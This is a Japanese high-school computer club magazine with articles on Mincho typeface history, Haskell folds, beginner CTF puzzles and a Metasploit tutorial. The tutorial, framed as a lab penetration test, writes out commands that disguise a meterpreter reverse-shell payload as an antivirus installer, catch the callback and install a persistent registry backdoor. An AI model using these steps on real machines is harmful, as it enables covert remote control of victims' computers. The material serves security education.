ダウンロード - 灘校パソコン研究部

目次
P.2
部長挨拶
hiromu (@hiromu1996)
P.3
明朝体の歴史
博多市 (@hakatashi)
P.10 データ構造の畳み込みと展開
yingtai (@__int)
P.16 CTF精進
potetisensei (@potetisensei)
P.22 Metasploit Framework ことはじめ
zat
P.31 GIMPで一日過ごす
とさにー (@To_sunny)
1
部長挨拶
どうもこんにちは、灘校パソコン研究部長の@hiromu1996です。
この度は、この部誌を(手にとって|ダウンロードして)いただき、ありが
とうございます。
早いもので、灘校パソコン研究部としてKOFに参加するのもこれで
3回目となります。最初は、机にチラシを積んでいるだけだったのです
が、去年から部誌を発行し始め、もはや完全にパソコン研究部の一年
の行事の一つとなっています。
展示の方も、KOFに向けて部員がなかなか面白いものを作っている
ので、きっとお楽しみいただけるはずです。(大会と日程が被っているた
めに部長の私が参加できないのが心苦しい限りですが…)
あと、フィードバック等がありましたら、ぜひ、展示ブースの部員にお
声がけいただくか、それぞれの記事の筆者にTwitterでmentionを飛
ばすなどしていただければ幸いです。きっと面白い議論ができることと
思います。
最後に、パソコン研究部のWebサイトのリンクを貼っておきます。時
間がありましたら、ぜひご来訪ください。
http://www.npca.jp/
2
明朝体の歴史
博多市(@hakatashi)です。
受験生です。
今回のKOFの出展に際して記事執筆の依頼があり、ちょうど半年ほど前に
npcaのブログに明朝体の仮名に関して掲載しようと目論んでいた記事があっ
たのでそのままコピってきました。連載の最初という位置づけの文章です
が、単体で読んでも十分に読める内容なのではないかと思います。
というわけで、理系臭がプンプンするこの部誌の中、超文系ちっくな記事を
投下します(前回もそんな感じだったけど)。
めんどくさいので受験生ゆえ時間がなくデザインも何も施していません。本
当にコピー&ペーストしただけです。読みにくいでしょうが何卒ご了承を。
―――――――――――――――――
明朝体"かな"の起源
清代の木版印刷における明朝体(康煕字典、1716年完成)
3
近世の中国において、木板印刷がひろく用いられるようになると、楷書体や
行書体などの筆文字よりも、曲線が少なく彫りやすい印刷専用の字体が求め
られた。これを受けて明代から清代にかけて成立した書体が明朝体である。
やがて一つの父型から大量の活字を生産できる活版印刷が発明されると、彫
りやすい字体としての意義は薄れ、純粋にデザインの美しさを目的として明
朝体が用いられるようになった。
日本では、明治2年(1869年)に、通詞(幕府直属の通訳者)の本木昌造
が、上海で明朝体活字の普及に努めていたウィリアム・ギャンブルを招聘
し、通詞らの間で西洋の活版印刷技術を学んだのが日本の活版印刷の始まり
と言われている。本木らは1873年、日本で初めての活字製造所となる長崎新
塾出張活版製造所(後の東京築地活版製造所)を結成した。
この前後に彼らは日本語活字、すなわち日本語でしか用いられない仮名や記
号の字体を独自に考案する必要があった。当時の平仮名は個別に独立した文
字ではなく、さらに前後にくる文字の種類によって字形も字体も大きく変化
するものであったため、これらを統一された正方形の活字で管理することは
簡単なことではなく、最終的に寺子屋のいろは手習いの字体を参考にして鋳
造されたと言われている。
明朝体のかなと漢字のデザインの違い。「A-OTF リュウミン EB」使用。
この字体は毛筆で書かれたものであるため、縦画と横画の太さの違いやウロ
コなどを特徴とする明朝体活字とはデザイン的に全く異なるものであるが、
これが漢字とマッチしているため、このデザインは現在に至るまで継続して
使われ、通常「明朝体のかな」と言う際はこの時代に成立したデザインのか
なのことを指す。
4
築地と秀英の二大活字時代
やがて活字が広く用いられるようになると、さきに述べた東京築地活版製造
所(築地活版)に加え、秀英舎(現大日本印刷)という活版印刷所が台頭し
ていった。秀英舎は明治15年(1882年)より製文堂にて自家製の活字を製造
し始め、明治における明朝体活字の製造は主としてこの二つが担うことと
なった。
この書体は現在では築地体・秀英体、あるいは築地明朝体・秀英明朝体と呼
ばれており、現在フォントとして覆刻がされている物も多い。
活字の基礎知識
活字においては、号数という概念があることに注意する必要がある。
活字は、現在のDTPや写植のように文字の大きさを変更する、ということが
容易にできない。よって活字においては文字の大きさと文字の形が一対一で
対応しており、同じ書体においても文字の大きさによって異なる字体が作ら
れた。この大きさの規格は号数と呼ばれ、一番大きい物が初号、その次が一
号、二号、三号・・・という順に小さくなっていく。
5
基準とされた五号活字の大きさは現在の10.5ptに相当し、その他の号数の大
きさはこれに対して簡単な整数比で表すことができる。ただし一号と四号の
大きさは例外的に整数比が成り立たなかったため、のちの1962年制定のJIS規
格により改訂された。なお、現在パソコンのワープロソフトなどで10.5ptが
標準サイズとされるのはこれに由来している。
また、これらの活字は複数回にわたり改刻がされており、同じ書体、おなじ
号数でも時代により全く異なる字形のものが存在する場合があることにも注
意するべきである。
ベントン母型彫刻機とA1書体
大正11年(1922年)に、細かい活字を容易に彫ることができるベントン母型彫
刻機が日本で初めて導入された。これにより活字の供給が増加したことを受
けて、築地活版が倒産した。また、秀英舎が戦後ベントン彫刻機を導入した
際に、専用の細い明朝体を開発した。この書体は社内でA1書体と呼ばれ、現
在では秀英細明朝体という名で知られている。
※なお、A1書体はA1明朝とは異なる。
築地・秀英以外の明朝体活字
築地活版・秀英舎以外の活字メーカーによる明朝体活字も存在した。岩田明
朝体は1920年に設立された岩田母型製造所(現在のイワタ)によって制作さ
れた。この書体はのちにモリサワおよび写研により写植書体として復刻さ
れ、現在はイワタ明朝体というデジタルフォントとして知られている。
また、1950年ごろ、モトヤ商店(現在のモトヤ)という活字メーカーにおい
てモトヤ明朝体が制作された。
6
写真植字
1924年、ヨーロッパで研究がすすめられていた写真植字機を日本の石井茂吉
と森澤信夫が実用化することに成功し、1926年写真植字機研究所(現在の写
研)を設立した。やがて1960年以降、出版の技術は活字から写植へと置き換
わり、それに伴いさまざまな写植の書体が開発されることになる。もちろん
明朝体も例に漏れなかった。
写研の明朝体
写真植字機を発明した写研は、当初は築地や秀英の活字の書体を写真植字へ
と流用していたが、やがて写植専用の書体(写植書体)を独自に開発した。
1933年に発表された石井中明朝体を始めとする石井明朝体が創業者石井茂吉
によって制作され、写植黎明時代の印刷物を席巻した。この石井明朝体には
活字書体をベースにしたOK(オールドかな)と新たな趣向でデザインされた
NK(ニューかな)の二種類の字形のかなが存在し、用途に応じて使い分けるこ
とができた。
また、1975年に発表された本蘭明朝(1985年にウェイト展開)はより現代的
な字形の明朝体で、写研の「第二の明朝体」として本文書体などに広く使わ
れた。
モリサワの明朝体
1948年、写研の創業者の一人である森澤信夫が写研を退社し、独自に写真植
字機製作株式会社(現在のモリサワ)を創立、写真植字において写研に次ぐ
シェアを獲得することになる。モリサワの写植の明朝体のうち太明朝体A1、
見出明朝体MA1、見出明朝体MA31、太明朝体A101、リュウミンの5書体は
現在フォントとして利用でき、特にリュウミンは現在のモリサワを代表する
書体の一つといえる。
7
リョービの明朝体
1947年誕生した晃文堂(現在のリョービイマジクス。2010年書体関連の業務
を停止)は、欧文活字専門の活字メーカーだったが、1958年和文活字として
晃文堂明朝を発表、これがのちに写植書体の本明朝として改刻された。
リョービは、写真植字においては写研、モリサワにつぐ第三のメーカーとし
て知られるが、独自に開発した書体は少なく、この時代のリョービの明朝体
は本明朝のみが知られている。
DTP到来
やがてMacintoshの台頭によりDTPの技術が導入されると、1987年モリサワが
Adobeと提携し、いくつかの書体をフォントとして提供するようになった。
やがてはリョービも自社書体のフォント化を行うが、写研は「正しい文字組
みが保証された環境を維持したい」という社風によりフォントの一般開放を
行わず、現在では一般のデザイナーが写研の明朝体を使用することはできな
い。
これと同時期、日本でも書体のデジタル化の動きがあり、1988年には文字
フォント開発・普及センターが設立され、翌1989年、この選考に応募された
リョービイマジクスの新明朝体が入選し、同年が平成元年であることから平
成明朝体と名付けられ開発が進められた。この書体はハライなどの先端の形
状がカットされていることが特徴である。
その後の明朝体
DTPの時代の到来により、それまで閉鎖的であった書体設計がオープンな場
に置かれ、プロのみならずアマチュアでも多くの書体が作られるようになっ
た。歴史ある明朝体の他にも、最初からデジタルフォントとして開発された
フォントの中で特筆すべきものを挙げる。
8
ヒラギノ明朝体
写研の社員であった鈴木勉、鳥海修、片田啓一の3人によって設立された字游
工房にて1993年に作られたフォント。Mac OS XではW3とW6の2つのウェイ
トが標準搭載されている。
マティス
現在DTP環境においてモリサワに次ぐ第二位のシェアを持つフォントワーク
スが1991年ごろ発表した書体。太字のデザインが特徴的。縦組み用に設計さ
れたマティスVもしばしば使われる。
筑紫明朝
フォントワークスが2003年ごろ発表した書体。現在フォントワークスを代表
する明朝体である。
――――――――――――
……どうでしょうか。思いつきで書き始めた割には「活字→写植→DTP」の
三世代に渡る明朝体の歴史を俯瞰できるいい内容になったのではないでしょ
うか。一息ついたら書きなおして別のところでまた掲載し直すかもしれませ
ん。ではでは。
9
データ構造の畳み込みと展開
1. はじめに
こんにちは、yingtaiです。今回はデータ構造の畳み込み (folding) について
書きたいと思います。
畳み込みは、関数型プログラミングに欠かせない概念と言えるでしょう。特にリ
ストの畳み込み (Pythonのreduce, Rubyのinject, C++のaccumulate, Haskellのfoldr, etc.) は有名です。
今回は畳み込み、およびその逆の展開、あるいは畳み込みと展開の合成、およ
びリスト以外の畳み込みなどについて簡単に紹介したいと思います。
2. 畳み込み
まず、Haskellのfoldr関数を例に説明します。foldrは引数を3つ取ります
—―—―2引数関数、初期値、リストです。
最も簡単な例はsumでしょう。
foldr (+) 0 [1,2,3,5,8]
= 0+(1+(2+(3+(5+8))))
= 19
(+) の代わりに (-­) を入れると、こうなります。
foldr (-) 0 [1,2,3,5,8]
= 0-(1-(2-(3-(5-8))))
= 5
foldlはfoldrと畳み込む方向が逆になる関数です。
10
foldl (-) 0 [1,2,3,5,8]
= ((((0-1)-2)-3)-5)-8
= -19
foldr関数を使って基本的なリスト操作関数を定義してみます。
map f = foldr (\x y->f x:y) []
(++) = flip $ foldr (:)
concat = foldr (++) []
畳み込みが強力な操作であることが分かると思います。
3. 展開
Haskellにおいて、foldrに対応する展開関数はunfoldrです。
こちらはあまり馴染みがないかも知れません。関数型言語以外でunfoldrに相
当する機能をもつ言語はあまりないと思います。
GHCでもfoldrはPreludeに定義されていますが、unfoldrはData.Listに
入っています。
Data.List.unfoldrの定義は以下のようになっています。
unfoldr
:: (b -> Maybe (a, b)) -> b -> [a]
unfoldr f b =
case f b of
Just (a,new_b) -> a : unfoldr f new_b
Nothing
-> []
ここでのunfoldrは実用性を考えてMaybeが使われていますが、これをぱっと
見ただけではfoldrとの対応が見えづらいです。
そこで、unfoldrに別の定義を与えてみます:
unfoldr' p f g b
11
= if p b then []
else f b : unfoldr' p f g (g b)
このバージョンでは、unfoldrは4つの引数を与えられています。pは述語で、
展開の停止条件を表します。fはリストの先頭を与える関数、gは展開しながら適
用していく関数です。bは展開する種となる値です。いくつかこれを使った面白い
例を見てみます。
コラッツ数列は簡単です—―—―条件関数で次の数を決め、1になったら停止しま
す。
collatz = unfoldr' (== 1) id cond
where cond x | odd x
= x*3 + 1
| otherwise = x`div`2
*Main> collatz 11
[11,34,17,52,26,13,40,20,10,5,16,8,4,2]
Data.List.unfoldrで同様に書くと以下のようになります。
collatz' = unfoldr f
where
f 1 = Nothing
f x | odd x
= Just (x, x*3 + 1)
| otherwise = Just (x, x`div`2)
(簡単のために上のような定義にしましたが、これでは出力する数列に最後の
1が含まれません。もっとも、修正は簡単です。)
同様の方法で、漸化式で表せる数列がunfoldrで生成できることが分かると
思います。分かりやすい例ではフィボナッチ数列とか。
fibonacci = unfoldr' (const False) fst (\(x,y)>(y,x+y)) (1,1)
*Main> take 10 fibonacci
[1,1,2,3,5,8,13,21,34,55]
12
ソートもできます。選択ソート。
ssort :: Ord a => [a] -> [a]
ssort = unfoldr' (==[]) minimum (\xs->delete (minimum
xs) xs)
*Main> ssort [1,8,3,5,2]
[1,2,3,5,8]
最小要素を除き、残りのリストで同様の操作を繰り返します。簡単ですね!
unfoldrを使うと、再帰の本質的な部分だけを記述することができます。
4. 畳み込みと展開の合成
畳み込みと展開があるならば、畳み込みと展開の合成もあります。
展開の後に畳み込むというパターンはhylomorphismと呼ばれます (これは
一般化した圏論の概念です。同様にfoldは一般にcatamorphism, un-­
foldはanamorphismと呼ばれます) 。
hylo f e p g h = foldr f e . unfoldr' p g h
例えば、これで階乗を定義することができます。
fact = hylo (*) 1 (==0) id pred
なお、hyloはfoldr, unfoldrを使わずに書き換えることが可能です。これは
hyloがリストの中間データを持つ必要がないことを意味します。
hylo f e p g h b
= if p b then e
else f (g b) (hylo f e p g h (h b))
13
5. 自然数と畳み込み
リスト以外のデータ構造にも、畳み込み/展開は応用できます。
例えば、自然数は次のようなデータ型で定義できますが:
data Nat = Zero | Succ Nat
これはリスト構造のより単純な (値を含まない) バージョンとして考えることが
できます。
-- cf.
data List a = Nil | Cons a (List a)
では、Nat上で畳み込みと展開を定義してみます。
foldN z s Zero
= z
foldN z s (Succ n) = s (foldN z s n)
unfoldN p f x
= if p x then Zero
else Succ (unfoldN p f (f x))
これらを使ってNat上での演算を定義できます。
predN Zero
= Nothing
predN (Succ n) = Just n
addN x =
mulN x y
subN x =
divN x y
unfoldN
foldN x Succ
= foldN Zero (addN y) x
foldN (Just x) (>>= predN)
= fromJust $ predN $
isNothing (>>= (flip subN y)) (Just x)
14
除算が少し汚いのは気にしない方針で...。
また、foldNの引数の順序を変えると、関数をn回適用するイテレータを定義で
きます。
iter n f x = foldN x f n
実は、ここで (iter n) はチャーチ数になっています。
iter (Succ (Succ Zero)) f x
= foldN x f (Succ (Succ Zero))
= f (f x)
6. まとめ
ここまで読んでいただきありがとうございました。 尺の都合で触れられません
でしたが、一般に、畳み込みと展開は再帰的データ型上の操作として定義できま
す。例えばHaskellの代数的データ型で表現された木構造はfoldableです。
畳み込みと展開の面白さを少しでも感じていただけたなら幸いです。
参考文献:
『関数型プログラミングの楽しみ』 Jeremy Gibbons & Oege de Moor 編
山下 伸夫 訳
15
CTF精進
はじめに
こんにちは、@potetisenseiです。
みなさんは、CTFという言葉を聞いたことはありますか?
CTFというのはCapture The Flagの略で、要はセキュリティの脆弱性をつい
たりしてフラッグを抜き出す競技です。フラッグとは、大体の場合、パスワードなど
の文字列です。
少しでもCTFを布教したいという思いと、僕も初心者なのでCTFをしている人
がこれを読んで「ここはこうすればいいよー」というのを教えてもらえればいい
なーという下心でこの記事を書きました。
CTFを布教していて思ったのですが、CTFを知ってるけどやってないという人
に「なんでやらないの?」と聞くと、大体の人が「全くわからないから、できない」と
答える気がします。
僕も初めは先輩に教えてもらいつつ、ググりつつやっていたので、セキュリティ
の勉強をほとんどしたことがないという人には正直厳しいかもしれません。
CTFの醍醐味は、解けた時楽しいこと、合法的に脆弱性を突くことができるこ
とだと思います。その楽しさを伝えるために、この記事でさわりだけでも紹介しよう
と思います。
僕はksnctf (http://ksnctf.sweetduet.info/) というCTFサイトが好きなの
で、そこの問題を例にして説明していきます。問題のネタバレになるので、見たく
ないという方は見ないようにお願いします。問題を全部解けているわけでもない
僕が問題を解説するのはちょっと気が引けますが...。ここ間違ってるよという点が
あれば、ぜひご教示願います。
#2 Easy Cipher
これは知っていれば解けるし知らなかったらかなり解きづらい「知識ゲー」とい
うやつだと思います。
16
CTFの問題は大別すると、知識があれば解ける問題 (Torivia,Cipher)、ググ
れば解ける問題、スキルがないと解けない問題 (Binary, Web, Networkな
ど) 、発想の問題 (Cipher) の4つになると思います。知識ゲーの大半はGoogle
を使うスキルで補えるはずです。
問題の解説に戻りましょう。種明かししてしまうと、これはシーザー暗号、または
カエサル暗号と呼ばれる問題です。
これは調べようがないように見えるかもしれませんが、意外にも検索をかけて
みるとわかります。
試しに問題文中の “hofgvghgvba” という部分を抜き出してGoogleで検索
してみると、「CTF Tutorial」というページが出てくるので、それを読んだらわかり
ます。
総じて暗号系の問題は、知識問題か、発想力の問題が多いように思います。
#5のOnionは知識問題、#22のSquare Cipherは発想力の問題です。
#28 Lo-­Tech Cipher
僕はこの問題が一番好きです。なぜならこれは、CTFをやったことがないとい
う人でも発想で解くことができる面白い問題だからです。
与えられたzipを解凍すると二枚の画像が出てきます。まずこの二枚をうまく使
うことができれば解けるんだろうなと想像できるでしょう。
Lo-­Techという名の通り画像をバイナリに変換するなどの技術は使いません。
単純に二枚を画像エディタなどで処理すれば解けたも同然です。
後は出てきた文字列の意味を考えてもう一工程積むとフラッグは分かると思
います。
また、発想ではなくこの問題を真面目に解くとすると、まずfileコマンドで
secret.zipが本当にzipであるかを確かめます。fileコマンドとは、拡張子を変更、
偽装していても本来の拡張子をだいたい表示してくれる便利なUNIXコマンドで
す。
17
user@user:~$file secret.zip
secret.zip: PNG image data, 640 x 480, 8-bit/color
RGBA, non-interlaced
file secret.zipを実行してみると、secret.zipがpngファイルであることがわか
ります。開いてみるとモザイクのような画像でした。
secret.png
share1.png
share2.png
また、secret.zipを展開してみると同じような画像が二枚あり (share1.png, share2.png) 、
三枚の画像を使うことでフラッグを出すという事がわかります。後は画像を三枚
重ねるだけで答えは出ます。
このように、file, stringsコマンドやバイナリエディタなどのツールを使って解く
と、CTFはかなり楽に解けます。怪しい画像やzipファイルはfileコマンドにかけて
みてください。そして普通のファイルだった場合には、バイナリに文字列が含まれ
てないか調べるstringsコマンドを使ってみてください。それでもダメなようなら違
う方法を考えていきましょう。このような方法で解いていくと、半分ぐらいの問題
は解けるんじゃないでしょうか。
あと、かなり卑怯な技ですが、7-­zipという非常に強力なファイルアーカイバを
使って解く方法があります。zip以外でアーカイブできるファイルはzip形式にして
7-­zipで開くとほとんどが開けるので、そこに出てきたファイルをバイナリエディタ
で見ていくと楽に解ける問題があります。#18のUSB flash driveは一瞬で解け
ます...。
18
CTFで楽をするためにはUNIXコマンドの知識、便利なツールの利用が必要
です。特にバイナリエディタだけは必ずと言っていいほど使います。
慣れてきたら用途すら知らないツールでもインストールして使えるようになると
思います。スキルが必要な問題は何問も解いていると適当に身につくと思ってい
ます。
では、例題を解いてみましょう。このソースを-­O1オプションをつけてコンパイル
されたものが問題として渡されるとします。
#include <stdio.h>
int main(){
char pass[100];
printf("password:");
scanf("%s",pass);
if(strcmp(pass,"1234567891011121314151617181920")){
puts("wrong password");
return 0;
}
puts("FLAG is hoge");
}
user@user:~$./hoge
password:hoge[Enter]
wrong password
これは、単純にパスワードが合っていればフラッグを出力するというプログラム
です。そのまま実行しても、当然パスワードがわからない状態なのでフラッグはわ
かりません。
この問題ははバッファーオーバーフローやgdbなどのデバッガを使って解くこ
ともできますが、もっと簡単な方法で解いてみましょう。こういうときはまず逆アセ
ンブルをします。Linuxならobjdump -­d hoge, Windowsなら適当なフリーソフ
トでできると思います。
19
ここからは少しだけですがアセンブラの知識が要ります。下に見ていくとmain
やputsという文字列が見えると思います。<main>と書かれている部分では
main関数内の処理が書かれています。この部分から大まかにprintfを呼び出
し、scanf, strcmp, 条件分岐などをしていることがわかります。
しかし、わざわざそんなことを考えなくとも解くことができます。バイナリエディ
タを開きましょう。
アセンブラにはnop命令というものがあります。これは何もしない命令です。こ
れで<main>内のprintfを呼び出している部分をこれで書き換えてみましょう。僕
がやってみるとここの部分の機械語コードはe8 cc fe ff ffでした。これをバイナリ
エディタで検索します。nopの命令コードは90です。
ここの部分を90 90 90 90 90で書き換え、保存し実行してみます。する
と“password:”という表示がなくなると思います。このようにして条件分岐する
部分を書き換えてしまえばいいだけです。
バイナリの簡単な問題はこれで解けてしまいます。この方法で解けない問題は
gdbというデバッガツールやOllyDbg, IDA Proといったツールを扱えるようにな
れば解けるようになると思います。
バイナリの問題を解くときにはC言語の脆弱性の知識、アセンブラの知識、デ
バッガの操作法、exe形式等の実行ファイルに関する知識をつけましょう (僕もつ
けられてませんが) 。
おわりに
僕はバイナリは大半、Web,Networkもほとんど解けないのですが、なんとなく
知っている必要なもの、便利なものを上げておきます。
Binary: Windows, OllyDbg, IDA Pro, gdb, objdump, バイナリエディタ、
Java逆コンパイラ、ILSpy, .NET Reflectorなど
Web: SQLの知識、JavaScriptの知識, burpsuite, Firebug, Fiddlerなど...?
20
Network: WireShark, nmapとか (それ以外知らない...)
Forensics: Autopsy, foremost, 7zipアーカイバまたはライブラリなど
Cipher: DEncoder2 (http://tools.nash-­dev.com/) などのデコーダー
その他: Maxima, JohnTheRipper, PkCrack, Gimpなど
全体: Python, file, strings, Google, (Linux)
僕は初心者なのでほとんどよくわかりませんが (特にWebやNetwork) 、解い
ていて必要になったものだけ挙げました。
この記事でCTFの面白さが伝えたかったんですが、ほとんど伝わらなかったか
もしれませんね...。僕自身CTFに強くないので説明がうまくできないのと、やっぱ
り実際にやってみないとわからないからだと思います。
初めは全くわからない問題もあると思いますが、ずっと調べていると解法が分
かったり、適当に試してみると解けたりするのであきらめずにCTFをしてほしいで
す。
最近はCTFチャレンジサイトがたくさんあります。”8946”やksnctf,Flaggers
など、外国のサイトを探してみるともっとたくさんあります。また、CTFの大会が世
界中で開かれていて、大半はオンサイトで行うので気軽に参加してみてくださ
い。行われるCTF大会はCTFカレンダー (http://captf.com/calendar/) で確
認できます。
後、CTFの勉強をする時、過去にあったCTF大会の問題のWrite-­upを見ると
かなり参考になると思います。
僕も大会に向けてちょっとNetworkとWebなどの知識をつけていかないとい
けないので頑張りたいですね。
最後に、質問、ご意見等ありましたら
Twitter: @potetisensei
または[email protected]にお願いします。
21
Metasploit Framework ことはじめ
Metasploit Framework によるペネトレーションテスト
1. 概要
Metasploit Framework (以下、Metasploit) は、数多くのエクスプロイト
コードの実行や、スタンドアロンバイナリの生成、エンコードなどを、簡単なオプ
ション設定をするだけで実行できるペネトレーションテストツールです。当初は
Perl で開発されていたのが、Ver.3 以降は全面的に Ruby で書きなおされて
おり、Ruby で開発されたオープンソースソフトとしては世界最大規模と言わ
れています。今回は Metasploit の基本的な使い方を、実際にペネトレーショ
ンテストを行いながら紹介し、そのフレームワークとしての完成度の高さを実感
します。
2. ペネトレーションテスト
「ペネトレーションテストとは、攻撃者がセキュリティコントロールを回避し、
組織のシステムへアクセスするために使う可能性のある手法をシミュレートす
る方法である。
(参考文献 1, p.1 より抜粋)
つまりペネトレーションテストとは、「実際に攻撃をしてみることで、システム
のセキュリティの問題点を見つけ出す」ことです。防御を考えるとき、どのように
攻撃してくるかを考えるように、セキュリティにおいても攻撃者のたどる手法を
22
考えるのです。今回は初めから手法を確定しているので、ペネトレーションテス
トというより「攻撃再現性の確認」という方が近いのですが、便宜的にペネトレ
ーションテストと呼ぶことにします。では、早速テストを開始しましょう。
まずは、行うテストのシチュエーションを考えます。今回はインストール直後
の Windows7 マシンを侵害してバックドアを作成する、というシナリオでペネ
トレーションテストを行いたいと思います。
次に、侵害する Windows マシンについての状況設定を行います。
この Windows マシンはインストールされた直後で、インターネットにアクセ
スできるネットワークに接続されています。そのネットワークには攻撃者も接続
しています。まだウイルス対策ソフトはインストールされていません。そこで、ウ
イルス対策ソフトをインストールしようとしたところ、ネットワーク上のあるユー
ザー(実は攻撃者)から、ウイルス対策ソフトだといって実行ファイルを渡され、
それを起動してインストールしようとします。
そして、攻撃するマシンの状況設定を行います。
攻撃者のマシンの OS は Back Track 5 R3 で、2012/10/26 時点で最
新のものです。侵害するターゲットの Windows マシンと同じネットワークに接
続されており、2 者間にルーターなど、IP を扱う機器はありません。攻撃者はイ
ンストール直後の Windows マシンのユーザーに、細工された実行ファイルを
渡します。そのファイルは一見、ウイルス対策ソフトに見えますが、実はバック
グラウンドで攻撃者のもとにリバースコネクトするようになっています。攻撃者
23
はこの接続を受け、Windows マシンのコントロールを得ます。
2.1.
攻撃開始
今回の攻撃で行うことは大きく分けて 2 つです。一つは、ターゲットの
Windows マシンのユーザーに渡す、細工された実行ファイルを作成すること。
もう一つは、ターゲットの Windows マシンからの接続を待ち受けることです。
2.1.1
スタンドアロンバイナリの生成
まずは、リバースコネクトするファイルの生成を行います。この時使用するツ
ールは、msfpayload というスタンドアロンバイナリの生成に特化したツールと、
それを別のファイルに見せかけることができる msfencode というツールです。
早速 msfpayload を使って、バイナリの生成を行いましょう。
今回使用するペイロードは、
payload/windows/meterpreter/reverse_tcp です。(これは Metasploit
内での名前で、一般的なエクスプロイトやペイロードとしての名前ではありま
せん。)まずは、ペイロードで指定可能なオプションを表示する、O オプションを
使います。(以降の図は紙面の都合上一部省略しています)
24
$ msfpayload windows/meterpreter/reverse_tcp O
Name: Windows Meterpreter (Reflective
Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse_tcp
Version: 14774, 15548, 14976
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 290
Rank: Normal
Basic options:
Name
Current Setting
Required
------------------------EXITFUNC
process
yes
LHOST
yes
LPORT
yes
Description:
Connect back to the attacker, Inject the
meterpreter server DLL via the Reflective Dll
Injection payload (staged)
ペイロードのオプションとして必要なパラメータは、LHOST と LPORT です。
それぞれ今回の環境では LHOST=192.168.5.5 LPORT=4444 にします。
また、実行ファイル形式で出力するので、最後に X オプションを付けます。
$ msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.5.5 LPORT=4444 X >
/root/Meterwork/kof.exe
これを実行すればバイナリが生成されますが、それではいかにも怪しいファ
イルなので、これをウイルス対策ソフトのインストーラに見せかけます。
25
ここで登場するのが msfencode です。msfencode は、あるファイルをエ
ンコード、つまり後から復元できるようにデータに変換を加えることができるの
ですが、これを使えばファイルを別の実行ファイルの中に埋め込み、それが動
いている裏で、本来のファイルを実行することができるのです。
具体的にどのようなコマンドになるのか見てみましょう。まずは、先ほどのス
タンドアロンバイナリを生成する一連のコマンドを、実行ファイル形式でなく、生
の状態でパイプするため、X オプションではなく R オプションを指定します。ま
た、最終的に生成されるファイル形式は exe なので、msfencode のオプショ
ン“–t”で exe を指定します。また、埋め込む先の実行ファイルを“-x”で指定し、
生成するファイルの名前を“-o”で指定します。また、“–k”オプションを指定す
ることで、埋め込む先の実行ファイルを別スレッドで動かし、ユーザーに不信感
を与えることなくペイロードを実行することができます。
msf > msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.5.5 LPORT=4444 R | msfencode -t exe x /root/Meterwork/kof/avinstall.exe -o
/root/Meterwork/kof/avinstaller.exe –k
[*] exec: msfpayload
windows/meterpreter/reverse_tcp LHOST=192.168.5.5
LPORT=4444 R | msfencode -t exe -x
/root/Meterwork/kof/avinstall.exe -o
/root/Meterwork/kof/avinstaller.exe -k
[*] x86/shikata_ga_nai succeeded with size 317
(iteration=1)
これで、avinstaller.exe という、実行すると 192.168.5.5 の 4444 ポートに
リバースコネクトする実行ファイルができました。
26
2.1.2
ハンドラの設定
次に、ターゲットからの接続を待ち受けるハンドラの設定をします。こちらは、
Metasploit Framework で最もポピュラーなインターフェース msfconsole
を使用します。msfconsole は、Metasploit Framework のほぼ全ての機能
を、ユーザーフレンドリーなコンソール形式で提供するツールです。
msfconsole での操作の基本は、実行するエクスプロイトと、エクスプロイト成
功後に実行するペイロードを選択、オプションのパラメータを設定して実行、と
いう流れです。今回使用するエクスプロイトは exploit/multi/handler で、
ペイロードは先ほど作ったバイナリと同じものを選択し、オプションも先ほどと
同じように設定します。
$ msfconsole
(中略)
=[ metasploit v4.5.0-dev [core:4.5
api:1.0]
+ -- --=[ 974 exploits - 518 auxiliary - 158 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops
msf > use exploit/multi/handler
msf exploit(handler) >set PAYLOAD
windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.5.5
LHOST => 192.168.5.5
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.5.5:4444
[*] Starting the payload handler...
27
2.2.
攻撃開始
Windows ユーザーに作成したファイルを渡し、実行するように伝えます。今
回のペネトレーションテストでは、この部分が最も難しく、またキモとなる部分
でしょう。しかし今回は Metasploit でのペネトレーションテストということなの
で、この部分を省略します。ともあれ、ターゲットの windows マシンのユーザ
ーは、このファイルを実行します。ウイルス対策ソフトのインストーラが起動し、
ユーザーは安心しますが、実際には攻撃者のマシンに接続を試みている最中
です。攻撃者のほうから確認してみましょう。下は msfconsole の画面です。
[*] Started reverse handler on 192.168.5.5:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.5.1
[*] Meterpreter session 1 opened (192.168.5.5:4444
-> 192.168.5.1:3182) at 2012-10-27 00:56:21 +0900
meterpreter >
どうやら、リバースコネクトには成功し、リモートシェルを得られたようです。
Meterpreter という別のシェルが立ち上がっています。Meterpreter は
Metasploit が提供する高機能リモートシェルで、エクスプロイト成功後に実
行するペイロードとしてよく用いられます。Windows マシンにバックドアを仕
掛けるには、Meterpreter エージェント(Meterpreter ペイロードの実行形式
ファイル)をターゲットマシンにインストールし、自動起動させることで、マシン
再起動後でも接続できるようにするスクリプト「persistence」を利用します。
28
meterpreter > run persistence –X –i 50 –p 443 –r
192.168.5.5
[*] Running Persistence Script
[*] Resource file for cleanup created at
/root/.msf4/logs/persistence/RIGEL_20121027.5627/RIGE
L_20121027.5627.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp
LHOST=192.168.5.5 LPORT=443
[*] Persistent agent script is 613880 bytes long
[+] Persistent Script written to
C:\Users\zat\AppData\Local\Temp\CGCVuOVav.vbs
[*] Executing script
・・・(1)
C:\Users\zat\AppData\Local\Temp\CGCVuOVav.vbs
[+] Agent executed with PID 2244
[*] Installing into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\sE
hfEaFFQQX
・・・(2)
[+] Installed into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\sE
hfEaFFQQX
これで、バックドアを仕掛けることができました。このバックドアを削除するには、
(1)で示された VBscript と、(2)のレジストリエントリを手動で削除する必要が
あります。
3. 考察
Metasploit Framework は“フレームワーク”です。フレームワークとは、
様々な攻撃手法を、ひとつの操作様式で試すことができるものです。アンダー
グラウンドサイトからエクスプロイトコードをダウンロードしてきて、コンパイルし
て実行する、といった煩雑な作業はなく、エクスプロイトコードによってオプショ
ンの設定方法が違うこともありません。そのおかげで、大量のエクスプロイトを
